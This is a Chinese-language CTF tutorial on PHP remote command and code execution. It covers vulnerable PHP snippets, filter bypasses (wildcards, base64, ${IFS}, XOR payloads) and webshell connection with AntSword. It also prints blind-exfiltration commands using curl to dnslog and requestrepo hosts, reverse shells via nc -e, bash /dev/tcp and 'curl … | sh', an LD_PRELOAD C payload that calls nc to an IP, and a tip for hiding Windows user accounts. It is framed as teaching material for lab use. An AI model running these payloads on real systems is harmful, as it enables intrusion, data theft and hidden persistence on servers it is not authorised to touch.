CTFWEB-RCE篇
啥是RCE?
php的代码执行简称RCE
是Remote Command Exec(远程命令执行)和Remote Code Exec(远程代码执行)的缩写;Command指的是操作系统的命令,code指的是脚本语言(php)的代码
php的命令执行利用
php的命令执行,我们默认讨论的是服务器操作系统为Linux下的情况
php的Command Exec函数
在php中,官方有下面6种函数可以执行系统命令
system()
system(whoami); 引号加不加都行,默认是command类型参数.
passthru()
完全同system()
exec()
默认没有回显,需要手动加上echo.而且只会回显出一行结果,因此常用第二个数组参数接收多行结果.
payload:$arr=[]; echo exec(ipconfig,$arr); var_dump($arr);
shell_exec()
默认没有回显,需要手动加上echo,可以输出多行结果.
payload:echo shell_exec(ipconfig);
popen()
popen():打开一个指向进程的管道,该进程由派生给定的command命令执行而产生.
payload:$fp=popen(whoami,'r'); while(!feof($fp)){$content.=fgetss($fp);} echo $content;
pcntl_exec
#void pcntl_exec ( string $path [, array $args [, array $envs ]] ) #path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 #args是一个要传递给程序的参数的字符串数组。#pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。#pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0 <?php pcntl_exec ( "/bin/bash" , array("whoami")); ?>
proc_open()
proc_open():执行一个命令,并打开一个io文件指针.类似popen(),但更复杂.
执行运算符 ``
这些函数的共同特征就是可以执行系统命令,只是返回值、参数个数、参数位置不同而已。
这里说的系统命令,和php所在的服务器的操作系统密切相关
在Windows服务器上,我们可以执行Windows的系统命令或者程序名称,列如calc、bat、vbs等等
在Linux/Unix服务器上,我们可以执行Linux的系统命令,列如cat cp nc等等
比如
ping -c 1 wwww.baidu.com
ping -c 1 wwww.baidu.com
在命令执行有下面几种可能:
命令可控 比如我们可以控制ping这个字符串
参数可控 -c 可控
参数值可控 1和www.baidu.com 可控
整体可控,但是要突破过滤
我们遇到命令执行,需要首先判断可控的位置,然后针对性的绕过
参数值可控
我们从一个例子看起
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir=$_POST['dir'];
system("ls ".$dir);
?>
代码很简单,就是列目录,我们需要传入一个参数dir,如果没有传入,则默认执行无参命今ls我们现在需要注入进去我们自己的其他命令我们只需要传入 && 就可以实现两个命令并列执行,前面命令执行完毕后会执行后面的命令
相当于
命令A&&命令B
&&代表逻辑与符号,用于当第一个命令执行成功后才执行第二个命令
代表逻辑或符号,用于当第一个命令执行失败后才执行第二个命令
;分号符,用于在一行中依次执行多个命令
命令可控
我们再看一个例子
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
system($cmd." >/dev/null 2>&1");
?>
这次的代码变成了
1 system($cmd.”>/dev/nul1 2>&1");
后面这个写法小白可能没见过,我在这说明一下
在linux中,所有的设备都有文件描述,那么有一类特殊的设备,也有文件描述,那就是空的设备文件描述为/dev/null而>表示将输出写入到这个空设备中,也就是不回显任何数据后面的2>&1 则是表示把标准的错误输出附加到标准输出上,合起来,就是标准输出和错误输出都不回显
这时候,我们如果使用前面的 && 来使命令一分为二,后面的命令会导致我们在前面执行的命令不回显。
这个时候可以使用shell中的分号,来拆分命令,表示前后两条命令。两者的区别在于&&需要前面命令执行成功后,后面的命令才会执行,分号则不管成功与否,两个命令作为两行命令执行
整体可控
1.黑名单过滤
替换过滤的情况
这个属于直男型过滤,认为我只要把关键字替换为空,那么就安全了绕过也很简单,双写绕过即可,比如替换了cat字符串为空,所以可以直接提交ccatat
,替换后,就刚好变成了 cat
虽然简单,但是在实战中经常遇到。
利用条件也是仅仅替换为空,如果替换为其他字符,大概率就走不通了,比如替换为ABCccatat营换后为CABCat,命令明显会执行错误。
过滤特定字符串(例如flag)的情况:
当我们要读取flag时,遇到过滤了关键字时,我们可以使用通配符绕过,通配符我们只需要掌握两个符号,分别是*
和?
*
号表示任意长度字符,最常见的就是一条命令处理多个文件
比如批量移动文件 可以使用命令
mv *.txt ./tmp
上面命令会把当前目录所有后缀为txt的文件移动到当前目录下的tmp目录
如果有成百上千的txt文件,使用通配符,可以一条命令就完成,而不用这样
mv 1.txt ./tmp
mv 2.txt ./tmp
...
?
表示占位符,表示1个或者多个字符,比如我们当前目录有个文件abc.txt,需要移动到tmp目录,我们可以这样写
mv abc.txt ./tmp
如果我们有很多类似这样的文件,比如 a1c.txt a3c.txt a8c.txt a8aac.txt
这样的文件,我们就可以使用?来精准匹配
mv a*c.txt ./tmp
#会移动所有txt文件到tmp目录,包括a8aac.txt
mv a?c.txt ./tmp
#只会移动a1c.txt a3c.txt a8c.txt,不包括a8aac.txt
#因为a8aac.txt文件名中a和c之间不止一位字符,所以用?匹配不到
参考例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(!preg_match("/flag|\&|\;/i",$cmd)){
system($cmd." >/dev/null 2>&1");
}
?>
这里我们看到有了3个我们没有见过的函数,分别是
error_reporting(0);
highlight_file(__ FILE__);
if(!preg _match("/flag|\&| \;/i”,$cmd)){
我们可以打开自己的php手册,查询下函数意义
我们重点看看这个if判断,里面是一个正则表达式的判断,如果输入的参数里面不包含大小写的 flag
字符,而且不能包含&& 和分号,否则不会执行大括号
中的函数这样就起到了参数过滤的作用,这里我们虽然不能便用flag这个单词,但是我们可以使用通配符*和?
过滤cat、more等文件读取命令的情况:
在linux中,有很多的命令或者程序可以读取文件,如果自己熟悉的命令被ban掉了,那么最好的办法就是打开自己的本地linux环境,找找那些不熟悉的命令,或许就有可以读取文件的其他方式了。
最常见的方式就是用别的命令替换,比如过滤了cat用tac命令读取,甚至nl more od 等等其他命令也可以读取,这里列一下linux读取文件的命令
tac:反向显示
tac flag.php
more:一页一页的显示档案内容
more flag.php,如果无回显,可先在网页源代码中查看
less:与more类似
less flag.php
tail:查看末尾几行
tail flag.php
nl:显示的时候,随便输出行号
nl flag.php
od:以二进制的方式读取文档内容
od flag.php
xxd:读取二进制文件
xxd flag.php
sort:主要用于排序文件
sort flag.php
uniq:报告或删除文件中重复的行
uniq flag.php
grep :在文本中查找指定的字符串
grep flag flag.php
file-f: 报错出具体内容
file -f flag.php
我们这里不用上面的思路,我们假设所有读取文件的命令或者程序都被ban了,所以我们还可以使用另一 种组合执行的方法
那就是我们在shell语法中,有反引号表示执行的意思,比如我们可以这样执行
ls `echo /bin`
#等效于
ls /bin
#甚至我们可以这样
`echo ls` `echo /bin`
#依然等效于 ls/bin
所以,这里我们可以这样构造
`echo bHMK 1 base64 -d` `echo L2Jpbgo= | base64 -d`
#这样依旧等效于 ls /bin
那么对于过滤了文件读取函数的题目,我们可以这样通杀
#tac flag.php
`echo dGFjIA== | base64 -d` `echo ZmxhZy5waHA=|base64 -d`
但是题目中,又将回显输出到了空设备,所以我们需要把命令后面拆分或者断开,虽然我们不能使用并列执行的&&
和先后执行的;
我们依然可以使用 ||
||就是只要前面的条件达成了,后面的就不用执行,||
和&&
正好相反,&&
是前面的命令执行成功后面的才会执行
参考例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(!preg_match("/flag|\&|\;|cat|tac|nl|more|od/i",$cmd)){
system($cmd." >/dev/null 2>&1");
}
?>
变量拼接绕过关键字
但是上面的题目,也有一个条件,那么就是如果过滤了echo 或者base64,我们就不能便用了这时候,我们可以使用变量拼接法来绕过黑名单
在shell中,是可以定义变量的
a=c;b=at;c=fla;d=g.php;$a$b ${c}${d}
#等效于 cat flag.php
这里定义了 a、b、c、d
三个变量,同时用 $a
或者 ${c}
的形式进行了引用值
2.符号过滤
过滤空格的情况:
前面我们用到的命令,都没有过滤空格,如果一旦不让用空格,那是不是就全部都失效了呢?那么在shell语法中,有没有代替空格的命令?比如我们要执行命令tac flag.php
那么不用空格的姿势有
1.读文件时,使用<>代替空格
tac<>flag.php
2.使用${IFS}
代空格,也可以使用$IFS$9
来代空格,bash下甚至可以使用{cmd,args}
代替空格
tac$(IFS}flag.php
3,控制字符代替空格
%09 %0b %0c
4.字符串截取空格
先看控制字符代替空格
哪些控制字符可以代替空格呢? 我们看一个题目
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(!preg_match("/flag|\&|\;| /i",$cmd)){
system($cmd);
}
?>
小知识
可以使用burp爆破%00-%128来确认那些可以代替空格QWQ
再看字符串截取空格
要使用字符串截取,那么我们需要两个条件,一个是有字符串,另一个是可以截取
在shell中,可以使用变量
caigo=aabbcc
${caigo}
#输出aabbcc
使用冒号来截取变量的字符
caigo=aabbcc
${caigo:2}
#输出bbcc
如果只要输出一个字符c,我们可以
caigo=aabbcc
${caigo:4:1}
#输出字符c
有了这个理论基础,我们就可以在系统中找已经定义号的变量。然后截取里面的字符串即可
这里看一个例题,要求构造空格绕过限制
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(!preg_match("/flag|\&|\;| |IFS|\>|\<|\x09/i",$cmd)){
system($cmd);
}
?>
使用env命令查看系统环境变量
我们使用PHP_EXTRA_CONFIGURE_ARGS这个环境变量
第13位是空格,构造poc
cmd=tac${PHP_EXTRA_CONFIGURE_ARGS:12:1}fl*
无字母数字命令执行
异或
这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0,简单的来说就是相同为零,不同为一
取反
取反也是php中的一种运算符,取反的好处就是,它每一个字符取反之后都会变成另一个字符,不像异或需要两个字符才能构造出一个字符。
方法一
首先,我们想要构造的依然是assert($_POST[_])这条语句,和上面一样,我们先用php的取反符号~将字符串assert和_POST取反,这里需要注意的是,由于它取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可。
方法二
是我看p神博客才了解到的方法,就是说利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,然后再进行一次取反操作,就能得到一个我们想要的字符,这里的原理我确实是不知道,因为这里好像是涉及到计组知识而我现在还没学,害,现在就只有先学会怎么用,原理后面再补了。
自增
在处理字符变量的算数运算时,PHP沿袭了Perl的习惯,而不是C语言的。在C语言中,它递增的是ASCII值,a = 'Z'; a++;将把 a变成 '['('Z'的 ASCII 值是 90,'['的 ASCII 值是 91),而在Perl中, $a = 'Z'; $a++;将把 $a变成'AA'。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增或递减其他字符变量则无效,原字符串没有变化。
也就是说,只要我们获得了小写字母a,就可以通过自增获得所有小写字母,当我们获得大写字母A,就可以获得所有大写字母了
正好,数组(Array)中就正好有大写字母A和小写字母a,而在PHP中,如果强制连接数组和字符串的话,数组就会被强制转换成字符串,它的值就为Array,那取它的第一个子母,就拿到A了,那有了a和A,相当于我们就可以拿到a-z和A-Z中的所有字母了
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);
我们直接使用异或脚本构造poc
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08%00%00"^"%60%7b%20%2f");
其他的可自行去尝试
无回显情况下的命令执行
这里我们用到shell_exec函数,这个函数和system相比,无回显
1.使用>写入文件查看
把执行结果写入到一个文件中
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
if(!preg_match("/flag/i",$cmd)){
shell_exec($cmd);
}
?>
payload:http://xxx.xxx.xxx/?cmd=cat%20fla*%20%3E%201.txt
可以看到执行结果就保存到1.txt中了
2.dnslog外带数据
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
if(!preg_match("/flag/i",$cmd)){
shell_exec($cmd);
}
?>
这道题没有写文件的权限,我们利用dnslog将数据带出来
先获取一个域名,然后使用我们的ping命令请求一次,在域名前加上我们的私货
?cmd=ping%20-c%201%20`whoami`.a917bq.dnslog.cn
刷新我们申请域名的访问记录,发现命令执行结果被带出来了
但是dnslog有个问题,他带出的数据很少,并且不能换行,所以,我们要所以sed来控制他读哪一行
/?cmd=a=`sed%20-n%20"3,4p"%20fla?.php`;curl%20${a:0:10}.a917bq.dnslog.cn
${a:0:10}的意思是返回结果的第0位到10位
小知识
dnslog带外的时候在poc没问题的情况下,没发数据包可能是读取的文件中存在url解析不了的字符,所导致数据发不出去,所以base64编码后即可。
/?cmd=a=`sed%20-n%20"3,4p"%20fla?.php%20|%20base64`;curl%20${a:64:4}.kmudq5.dnslog.cn
这个字符就比较多了,建议一开始10,20位的拿边拿编解码,到后面4,8位的拿
3.requestrepo平台使用
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
if(!preg_match("/flag|dnslog/i",$cmd)){
shell_exec($cmd);
}
?>
可以看到他这里把dnslog禁用了,这里推荐另一个非常好用的平台requestrepo.com
可以看到他给我们生成好了一个域名,复制它,构造poc
/?cmd=curl http://e8zaeokj.requestrepo.com?1=`ls /|base64`
发送后发现我们多了很多请求
把回显进行base64解码即可得到数据
4.反弹shell信道
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
if(!preg_match("/flag|dnslog|request/i",$cmd)){
shell_exec($cmd);
}
?>
可以看到,题目把dnslog和request都禁用了,我们直接使用shell反弹即可
/?cmd=curl https://your-shell.com/yourip:1337 | sh
命令执行中还有个执行长度限制的知识点,我在前面的RCE奇技淫巧中有提到,这里就不做描述了
php代码执行利用
php的Code Exec函数
eval()
eval:将一个字符串作为php代码执行
paylaod:eval($_POST[123]);
注意:eval是一个语言构造器,不是函数,所以不能当可变函数.
assert()
assert():执行一个有返回值的php表达式
assert():执行一个有返回值的php表达式
assert()是一个函数,可以使用可变函数调用.
注意:php7.2后,assert也同eval,是语言构造器而不是函数.
call_user_func()和call_user_func_array()
call_user_func():把第一个参数作为回调函数使用,其余参数是回调函数参数.
payload:call_user_func('assert','eval($_POST[123])');
call_user_func_array():把第一个参数作为回调函数使用,第二个数组类型参数作为回调函数参数.
payload:call_user_func_array('assert',['eval($_POST[123])']);
array_map()
array_map():为数组的每一个元素应用回调函数.第一个参数是回调函数,第二个参数是数组.
payload:array_map('assert',['eval($_POST[123])']);
array_filter()
array_filter():使用回调函数过滤数组中的元素.第一个参数是数组,第二个参数是回调函数.
payload:array_filter(['eval($_POST[123])'],'assert');
array_reduce()
array_reduce():用回调函数迭代的将数组化为单一的值.第一个参数是数组,第二个参数是回调函数.
payload:array_reduce([1,2],'assert','phpinfo()');
create_function()
create_function():创建一个匿名函数,第一个参数为函数参数,第二个参数为函数代码块内容,返回值为函数名.
payload:$a=create_function('','eval($_POST[123]);'); echo $a();
注意:该函数在php7.2被弃用,在php8.0被移除.
usort()和uasort()
usort():使用用户自定义的比较函数对数组中的值排序.
payload:$arr=[1,'eval($_POST[123])']; usort($arr,'assert');
preg_replace()
preg_replace():基于正则,将匹配到的字符串替换为指定的字符串并返回完整字符串.
正则模式修饰符e:将字符串作为代码执行.
perg_replace()模式使用了e模式,此时开启代码执行的模式,要求php版本<=5.6
下面是一个简单的代码执行源码
<?php
$code = $_POST['code'];
//用post方式接收值,然后赋值给$code
eval($code);
//用eval函数执行
?>
这里我们可以使用蚁剑
连接上去
这样就可以看到整个网站的目录结构,甚至是可以看到除网站外的系统文件(看权限),也可以打开命令行执行命令(看权限)
小知识
在win下创建用户时在用户名后加上$符,可以隐藏用户,使用net user命令查看不到
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_GET[1]);
?>
有时eval中的可控参数是GET请求时,使用蚁剑连不上,可以添加个转接头
http://xxx.xxx.xxx/?1=eval($_POST[x]);
这样用新的密码x
连接即可
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET[1],$_POST[2]);
?>
这里使用的是call_user_func函数,当我们不清楚函数的用途和用法时可以使用php手册进行查询
大致意思就是第一个参数是调用的函数,第二个参数是函数执行的值,也就是()里的值
小知识
call_user_func的第一个参数必须得是函数,像eval、echo在php中属于语言结构,所以不能被调用
php语言结构和函数的区别
相信大家经常看到对比一些PHP应用中,说用isset() 替换 strlen(),isset比strlen执行速度快等。
例子:
if ( isset($username[5]) ) {
// The username is at least six characters long.
}
原因是isset是语言结构,而strlen是一个函数。那什么是语言结构呢?它和函数有什么不同吗?
1、 什么是语言结构和函数
语言结构:就是PHP语言的关键词,语言语法的一部分;它不可以被用户定义或者添加到语言扩展或者库中;它可以有也可以没有变量和返回值。
函数:由代码块组成的,可以复用。
2、 语言结构为什么比函数快
原因是在PHP中,函数都要先被PHP解析器分解成语言结构,所以有此可见,函数比语言结构多了一层解析器解析。这样就能比较好的理解为
什么语言结构比函数快了。
3、 语言结构和函数的不同
语言结构比对应功能的函数快
语言结构在错误处理上比较鲁棒,由于是语言关键词,所以不具备再处理的环节
语言结构不能在配置项(php.ini)中禁用,函数则可以。
语言结构不能被用做回调函数
看下一道例题
<?php
error_reporting(0);
highlight_file(__FILE__);
array_walk_recursive($_GET[1], $_POST[1]);
?>
这里使用的是array_walk_recursive函数,从手册中看函数意思
大致意思是第二个参数是调用的函数,然后把第一个参数的值(注意第一个值得是数组类型)作为参数,提交个第二个参数(也就是函数)执行
黑名单绕过
变量拼接绕过关键字
在代码执行中我们同样可以使用变量拼接对关键字进行一个绕过
来看例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET[1];
if(!preg_match("/system|func|array|preg|eval|exec|passthru/i",$code)){
eval($code);
}
?>
php中的特殊标签
1. <?php echo 'if you want to serve XHTML or XML documents, do it like this'; ?>
2. <script language="php">
echo 'some editors (like FrontPage) don\'t
like processing instructions';
</script>
3. <? echo 'this is the simplest, an SGML processing instruction'; ?>
<?= expression ?> This is a shortcut for "<? echo expression ?>"
4. <% echo 'You may optionally use ASP-style tags'; %>
<%= $variable; # This is a shortcut for "<% echo . . ." %>
上例中的 1 和 2 中使用的标记总是可用的,其中示例 1 中是最常用,并建议使用的。
短标记(上例 3)仅在通过 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 选项。
ASP 风格标记(上例 4)仅在通过 php.ini 配置文件中的指令 asp_tags 打开后才可用。
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET[1];
if(!preg_match("/\?|\;/",$code)){
eval("?>".$code);
}
?>
代码中我们可以看出他过滤了?
和;
,我们使用上面的第二中标签绕过
长度限制绕过
看代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET[1];
if(strlen($code)<=13){
eval("?>".$code);
}
?>
从代码中我们可以看到他对我们传入值的长度做了限制,只能上传13个字符
<?php $_GET[x]?>这是我们正常的poc,可是长度明显不符,我们对poc进行压缩
<?php ?>
替换为<?=
,这个标签不需要闭合,但是要求:PHP版本>PHP 5.4.0
然后加上``
让他执行系统命令,最后把=
去掉,注意如果没有=的话,执行结果不会回显
<?`$_GET[x]`;这样我们的poc就构造好了,刚好13个字符,我们测试一下
执行
http://xxx.xxx.xxx/?1=<?`$_GET[x]`;&x=sleep 3
发现网站确实延时3秒
但是因为没有=,执行内容不会回显,我们可以用>
将我们的执行结果写入到一个文件中
http://xxx.xxx.xxx/?1=<?`$_GET[x]`;&x=ls > 1.txt
这样的前提是网站有写入权限,没有的情况可以使用nc反弹
准备一台公网服务器,利用nc监听本地端口
http://xxx.xxx.xxx/?1=<?`$_GET[x]`;&x=nc xxx.xxx.xxx 7777 -e /bin/sh
nc反弹回来就可以执行系统命令了
注意这里是因为靶场环境有nc,如果靶场没有的话可以使用其他命令反弹shell,列如
bash
bash -i >& /dev/tcp/ip/port 0>&1
/bin/bash -i > /dev/tcp/ip/port 0<& 2>&1
ip与port改为attacker端的ip与开启监听的端口
exec
exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/ip/port 1>&0 2>&0
还有很多就不一一举例了,可以在这个网站在线生成https://forum.ywhack.com/shell.php
disable_functions禁用
disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。
要进行添加的话在php.ini中添加即可,每个函数之间使用逗号隔开。
例题
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET[1];
if(!preg_match("/include|require|eval/i",$code)){
eval($code);
}
?>
源码上没有啥限制,我们直接蚁剑连接,可以在phpinfo()中看到禁用了哪些函数
可以看到以及执行不了系统命令了
1.LD_PRELOAD绕过
绕过条件:
1、能上传自己的.so文件;
2、能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数并且未被禁止;
3、存在可以控制php启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和eror_log()等。
创建一个.c文件
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
void payload(){
system("nc 192.168.15.131 7777 -e /bin/bash");//执行命令
}
int geteuid(){ //生成动作geteuid,执行payload
unsetenv("LD_PRELOAD"); //结束调用
payload();
}
将.c文件编译成.so文件
sudo gcc -shared -fPIC .c -o .so
再创建一个.php文件
<?php
putenv("LD_PRELOAD=./poc.so");
mail('','','','');
?>
把两个文件上传到网站根目录,然后访问.php文件即可执行命令
2.使用蚁剑的disable_functions绕过插件绕过
这个就比较简单了
运行完成功会在网站目录下生成一个.antproxy.php文件,重新用蚁剑连接
http://xxx.xxx.xxx/.antproxy.php?1=assert($_POST[x]);
连上后就能执行命令了
这个插件还有很多种模式,做题环境下可以多试几次,实战就可能会泄露攻击信息
无参数代码执行
我们先来看一段代码段
<?php
error_reporting(0);
highlight_file(__FILE__);
if(';'===preg_replace('/[^\W]+\((?R)?\)/',"",$_GET['code'])){
eval($_GET['code']);
}
?>
代码的关键在if语句中,大致意思是匹配我们传入的参数,匹配到字母、数字、下划线[A-Z/a-z/0=9_]会替换为空,但是只会匹配"a()"形式的字符串,括号中不能有参数。
能执行:
不能执行:
我们接下来介绍绕后方法
HTTP请求标头
函数:getallheaders()
函数解释:获取当前请求的所有请求头信息以倒序返回
他返回的是一个数组,我们可以搭配end和pos函数,获取单独的内容
函数解释:
end():将 array 的内部指针移动到最后一个单元并返回其值。
pos():与end相反返回第一个值
那我们这个时候已经可以获取到内容了,数据包的内容是可有使用bp修改的,我们直接把他修改成我们要执行的命令,在使用eval()函数执行不就行了吗
类似功能的还有apache_request_headers()函数,适用于apache服务器
全局变量RCE
函数:get_definde_vars()
函数解释:返回所有已定义变量的值,所成的数组
我们打印一下函数的执行结果
在源代码中看更清楚
可以看到它把我们传入的参数以数组的方式返回给我们(因为这里我只在get方法传了值,所以其他为空),我们可以多传一个参数
可以看到尽管它代码中没有接收a参数,它也会给我们以数组的方式返回,那我们就可以使用end和pos函数执行我们想要的命令了。
先用pos指定第一个数组的内容也就是
再使用end指定最后一个内容,使用eval执行
session RCE
函数:session_start()
函数解释:启动新会话或者重用现有会话,成功开始会话返回true,反之返回false
我们环境正常是没有session的
我们加上session_start()就会启动session会话
我们可以在数据包中构造我们想要的session值
然后使用print_r打印返回内容,返回1代表开启,0代表未开启
我们可以使用session_id返回具体的session内容
我们可以使用show_source()函数读取文件内容
也可以使用eval等函数代码执行,但是要注意直接在session中传入php代码比如说system('dir');它存在符号会导致服务器无法解析,无法执行命令
需要先将session内容进行hex编码在使用hex2bin进行解码执行。
scandir文件读取
这个知识点中使用到的函数有点多,我这里列张表
我们先来了解scandir函数的使用,不细讲
我们往这个函数内容传入.
就可以列出当前目录下的所有文件
当题目过滤时我们无法传入参数,所以我们需要构造.
符号
我们可以使用localeconv()函数构造点。
可以看到它返回的数组中的第一个就是.我们再使用pos()函数获取
这样我们就构造好了点,就可以使用scandir函数列出当前目录下的文件
如果flag文件在第一个或者最后一个直接使用end或pos单独获取就行了,如果不是就需要使用array_flip()函数把数组中的建和值进行替换,再使用array_rand()函数随机获取,再使用show_source进行读取
如果要读取上级目录的文件就需要使用getcwd()返回当前目录,再使用dirname()函数返回上级目录,再使用chdir固定目录,再使用dirname它会生成一个点,然后使用scandir()获取上级目录文件,接下来就和前面一样了。
如果flag文件在根目录就需要构造/
我们先使用serialize序列化一个array对象
在使用crypt()函数对它进行单向字符串散列加密,随机生成的字符串末尾就可能出现/
再使用strrev()使字符串倒序
这时候我们要把第一个字符提取出来,需要使用到ord()函数,它会对字符串中的第一个字符进行转码,然后我们再使用chr()进行解码,这样就可以获取到/
这样就构造出来了,再使用scandir读取根目录文件
接下来就和前面一样了,由于有两个随机点,可以将数据包放到burp中使用爆破模块跑
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。